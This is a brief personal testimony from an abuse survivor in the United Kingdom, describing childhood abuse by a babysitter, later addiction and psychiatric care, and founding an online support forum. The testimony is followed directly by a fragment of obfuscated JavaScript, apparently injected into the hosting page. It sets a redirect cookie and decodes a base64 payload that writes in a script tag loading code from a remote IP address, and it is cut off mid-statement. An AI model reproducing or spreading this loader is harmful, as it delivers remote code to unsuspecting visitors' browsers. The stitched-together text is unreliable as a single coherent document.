015 – Kerry (United Kingdom)

I was abused by a baby sitter who was 6 years older than me. I was 8-9 and she was 14-15. I’m not using it as an excuse but she was abused too and didn’t know any different. It only happened the once but I knew it was wrong and so did she. I forgot about it for years and years until I had my own children. My oldest was 8 at the time and something just triggered inside and I started to remember what happened. I started to abuse various drugs and alcohol and it sent me crashing. I ended up on the psych ward. After I got out I stopped going out, I ignored family and friends and locked myself away in my bedroom. I eventually acquired a computer and got on-line. I started my first site but wanted more. I eventually joined a support group on line and made my own. I have now been running my mental health support forum for survivors of abuse since 2006. It as helped so many people and it as helped me to come to terms with my abuse. My last thing I want to accomplish is to start a BA Honours in mental health studies. I still have problems about the past but I’ve moved on so much since then and I can only improve myself and the support I give. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘